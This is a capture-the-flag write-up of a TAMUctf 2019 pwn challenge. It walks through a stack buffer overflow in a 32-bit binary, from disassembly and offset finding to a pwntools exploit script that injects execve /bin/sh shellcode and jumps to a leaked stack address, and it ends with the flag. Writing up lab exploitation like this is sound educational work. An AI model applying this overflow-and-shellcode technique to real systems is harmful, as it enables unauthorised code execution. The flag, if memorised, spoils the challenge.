TAMUctf 2019 Pwn Write-up 3 of 6

3 minute read

Part 3 of my TAMUctf pwn write-up series.

Shoutout to my teammates, hackstreetboys represent! — [hsb] ar33zy
Shoutout to my teammates, hackstreetboys represent! — [hsb] ar33zy

Pwn 3 Solution (Difficulty: Easy, 387 pts.)

This challenge tackles stack buffer overflow leading to a shellcode execution.

Let’s try to run the binary.

Oohh, what does that address mean?

Again, the first part of the program prompted a statement, and asked for an input. But there is something notable on this statement. It says that we might need the given address in order to solve the problem. Let’s take note of that.

Now, let’s try to enter a very long string.


We got a segmentation fault! Let’s inspect the core dump generated by this program crash.

Ooohhh, complete return address overwrite.

It looks like we have overwritten the return address with 0x41414141 or AAAA in ascii. We need to determine the length of our buffer before we can overwrite the return address.

We can use a tool like https://github.com/Svenito/exploit-pattern to make our lives easier.

Let’s generate a long string pattern.

Pattern length 1000

Let’s use the pattern to trigger the program crash.

We got 0x316b4130. Let’s use this value to determine the offset.

302 is the offset 

We got 302 as the offset needed before we overwrite the return address.

With these data, we can now control the program flow. But where do we want to jump after the return address? Let’s go back to the drawing board.

Let’s check the properties of the binary to have an idea on what we can do on this binary.

Oohh, NX is disabled hehe :)

NX is disabled.

Obviously, canary is disabled since we are able to overwrite the return address. But there is something notable here. NX or No-Execute marks certain areas of memory as non-executable. Basically, this property prevents execution of shellcodes. Since this property is disabled, we can insert and execute a shellcode on this program. Our next problem is where should we insert the shellcode.

Let’s go back and dissect the main function to have a better understanding of the program flow:

Dump of assembler code for function main:  
   0x565555e3 <+0>: lea    ecx,[esp+0x4]  
   0x565555e7 <+4>: and    esp,0xfffffff0  
   0x565555ea <+7>: push   DWORD PTR [ecx-0x4]  
   0x565555ed <+10>: push   ebp  
   0x565555ee <+11>: mov    ebp,esp  
   0x565555f0 <+13>: push   ebx  
   0x565555f1 <+14>: push   ecx  
   0x565555f2 <+15>: call   0x56555629 <__x86.get_pc_thunk.ax>  
   0x565555f7 <+20>: add    eax,0x19d5  
   0x565555fc <+25>: mov    edx,DWORD PTR [eax+0x28]  
   0x56555602 <+31>: mov    edx,DWORD PTR [edx]  
   0x56555604 <+33>: push   0x0  
   0x56555606 <+35>: push   0x0  
   0x56555608 <+37>: push   0x2  
   0x5655560a <+39>: push   edx  
   0x5655560b <+40>: mov    ebx,eax  
   0x5655560d <+42>: call   0x56555440 <[email protected]>  
   0x56555612 <+47>: add    esp,0x10  
   0x56555615 <+50>: call   0x5655559d <echo> ` (1)  
   0x5655561a <+55>: mov    eax,0x0  
   0x5655561f <+60>: lea    esp,[ebp-0x8]  
   0x56555622 <+63>: pop    ecx  
   0x56555623 <+64>: pop    ebx  
   0x56555624 <+65>: pop    ebp  
   0x56555625 <+66>: lea    esp,[ecx-0x4]   
   0x56555628 <+69>: ret      
End of assembler dump.

Most of the instructions are just for the initialization of the program. But there is one notable function that we can expand, the echo function.

Disassembling the echo function gives us the following data:

Dump of assembler code for function echo:  
   0x5655559d <+0>: push   ebp  
   0x5655559e <+1>: mov    ebp,esp  
   0x565555a0 <+3>: push   ebx  
   0x565555a1 <+4>: sub    esp,0x134  
   0x565555a7 <+10>: call   0x565554a0 <__x86.get_pc_thunk.bx>  
   0x565555ac <+15>: add    ebx,0x1a20  
   0x565555b2 <+21>: sub    esp,0x8  
   0x565555b5 <+24>: lea    eax,[ebp-0x12a]   
   0x565555bb <+30>: push   eax  
   0x565555bc <+31>: lea    eax,[ebx-0x191c]  
   0x565555c2 <+37>: push   eax  
   0x565555c3 <+38>: call   0x56555410 <[email protected]> ` (1)  
   0x565555c8 <+43>: add    esp,0x10  
   0x565555cb <+46>: sub    esp,0xc  
   0x565555ce <+49>: lea    eax,[ebp-0x12a]   
   0x565555d4 <+55>: push   eax  
   0x565555d5 <+56>: call   0x56555420 <[email protected]> ` (2)  
   0x565555da <+61>: add    esp,0x10  
   0x565555dd <+64>: nop  
   0x565555de <+65>: mov    ebx,DWORD PTR [ebp-0x4]  
   0x565555e1 <+68>: leave    
   0x565555e2 <+69>: ret      
End of assembler dump.

This is what we saw when we tried to run the program. These are the things that we can get from observing the data above:

(1) The program starts by printing a string that contains an address from the stack.

Pseudocode of how the printf function is executed:

printf("Take this, you might need it on your journey %p!n", &ebp-0x12a)

(2) The program also writes the user input to $ebp-0x12a which is the given address.

   0x565555ce <+49>: lea    eax,[ebp-0x12a] `*  
   0x565555d4 <+55>: push   eax  
   0x565555d5 <+56>: call   0x56555420 <[email protected]> 

With the following details, we can formulate this attack pattern:

- Get the value of `$ebp-0x12a`
- Insert shellcode to `$ebp-0x12a`
- Jump to shellcode by overwriting the return address with `$ebp-0x12a`
- Enjoy the shell

Our payload will look like this:

<shellcode> + <302 bytes buffer - shellcode length> + <given address> 

We can use this 32-bit shellcode from http://shell-storm.org/shellcode/files/shellcode-827.php


Sample exploit code:


from pwn import *

r = remote("pwn.tamuctf.com",4323)

shellcode = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80"  
offset = 302

shell_addr = r.recvuntil("!").split(' ')[-1].replace('!','')  
log.info("Shellcode address: {}".format(shell_addr))  
shell_addr = int(shell_addr,16)

payload = ""  
payload += shellcode  
payload += "A"*(offset-len(shellcode))  
payload += p32(shell_addr)


Flag: gigem{r3m073_fl46_3x3cu710n}


Thank you for reading. Hope you learned something from this write-up. Feel free to drop any comments on this one.

— ar33zy